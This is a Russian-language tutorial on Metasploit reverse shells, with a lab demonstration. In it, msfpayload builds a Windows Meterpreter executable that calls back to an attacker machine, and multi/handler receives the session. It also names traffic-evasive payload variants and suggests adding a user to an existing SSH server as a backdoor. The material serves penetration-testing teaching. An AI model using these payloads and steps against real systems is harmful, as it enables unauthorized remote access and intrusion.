Как использовать reverse shell в Metasploit
Существует два популярных типа shell, это соответственно bind и reverse. Bind shell – открывает новую службу на целевой машине и требует, чтобы атакующий подключился к ней для получения сеанса. Reverse shell – Обратный шелл наоборот предполагает, что атакующий сначала установил слушателя на своем компьютере, целевая машина выступает в роли клиента, подключающегося к этому слушателю, а затем, наконец, атакующий получает сеанс.
В этой статье рассмотрим использование reverse shell для получения сеанса.
Список обратных оболочек Metasploit
Чтобы получить список обратных оболочек, используйте команду msfpayload.
./msfpayload -l |grep reverse
Как правило, свой выбор стоит остановить на Meterpreter, потому что в настоящее время он обеспечивает лучшую поддержку пост-эксплуатации, которую может предложить Metasploit. Например, railgun, пост-модули, различные команды meterpreter.
Reverse shell в Windows
В Windows наиболее часто используемым reverse shell является windows/meterpreter/reverse. Вы также можете использовать windows/meterpreter/reverse_http или windows/meterpreter/reverse_https, поскольку их сетевой трафик выглядит наименее аномальным.
Linux reverse shell
В Linux вы можете попробовать использовать linux/x86/meterpreter/reverse_tcp, или 64-битную версию. Наиболее стабильным является linux/x86/shell_reverse_tcp.
Когда может потребоваться использовать reverse shell
Несколько возможных ниже приведенных сценариев предполагают использование указанного метода
- Целевая машина находится в другой частной сети.
- Межсетевой экран целевой машины блокирует входящие попытки подключения с помощью bind shell.
- Ваша полезная нагрузка (paylods) не может быть реализована к нужному порту по какой-либо причине.
- Или же Вы просто не можете решить, что выбрать.
Когда reverse shell не нужен
Вообще говоря, если вы можете создать бэкдор в существующую службу, то обратная оболочка может и не понадобиться. Например, если на целевой машине уже работает SSH-сервер, то можно попробовать добавить на него нового пользователя и использовать учетные данные для дальнейших действий.
Как настроить reverse shell при генерации полезной нагрузки
Когда вы генерируете reverse shell помощью msfpayload или msfvenom, важно понимать, как настроить следующее:
- LHOST – Это IP-адрес, к которому вы хотите подключить целевую машину. Если вы находитесь в локальной сети, вряд ли ваша целевая машина сможет связаться с вами, если только вы оба не находитесь в одной сети. В этом случае вам придется узнать свой публичный IP-адрес, а затем настроить свою сеть на переадресацию этого соединения на ваш компьютер. LHOST не должен быть “localhost”, или “0.0.0.0”, или “127.0.0.1”, потому что в этом случае вы говорите целевой машине подключиться к самой себе.
- LPORT – порт, к которому вы хотите подключить целевую машину.
Когда вы настраиваете слушателя для reverse shell вам также, как минимум, необходимо сконфигурировать LHOST и LPORT, но немного в другом значении (другая перспектива):
- LHOST – это IP-адрес, к которому вы хотите привязать ваш слушателя.
- LPORT – это порт, к которому вы хотите привязать ваш слушатель.
Перед выполнением reverse shell следует убедиться, что слушатель запущен.
Демонстрация
В этой демонстрации у нас есть две машины:
Box A:
Ящик атакующего, который получает сессию полезной нагрузки.
IP это: 192.168.1.123 (ifconfig).
В той же сети, что и машина жертвы.
Box B:
Машина “жертвы”
Windows 7
IP-адрес: 192.168.1.80 (ipconfig)
В той же сети, что и машина злоумышленника
В целях тестирования антивирус не включен.
В целях тестирования также не включен брандмауэр.
Шаг 1: Создаем исполняемую полезную нагрузку
На компьютере атакующего запустим msfpayload или msfvenom:
$ ./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 X > /tmp/iambad.exe Created by msfpayload (http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length: 287 Options: {"LHOST"=>"192.168.1.123", "LPORT"=>"4444"}
Шаг 2: Скопируем исполняемую полезную нагрузку в Box B
Box B – это машина жертвы.
Шаг 3: Настроим обработчик полезной нагрузки на блоке Box A
Box A – это атакующая машина.
$ ./msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.123 lhost => 192.168.1.123 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > run [*] Started reverse handler on 192.168.1.123:4444 [*] Starting the payload handler...
Шаг 4: Дважды кликнем по вредоносному исполняемому файлу
Этот шаг не требует дополнительных объяснений.
Шаг 5: Просмотр сеанса meterpreter/payload на Box A
$ ./msfconsole -q msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.123 lhost => 192.168.1.123 msf exploit(handler) > set lport 4444 lport => 4444 msf exploit(handler) > run [*] Started reverse handler on 192.168.1.123:4444 [*] Starting the payload handler... [*] Sending stage (770048 bytes) to 192.168.1.80 [*] Meterpreter session 1 opened (192.168.1.123:4444 -> 192.168.1.80:1138) at 2014-10-22 19:03:43 -0500 meterpreter >
Подсказка meterpreter говорит нам о том, что в данный момент мы взаимодействуете с paylod’ом
¯_(ツ)_/¯ Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.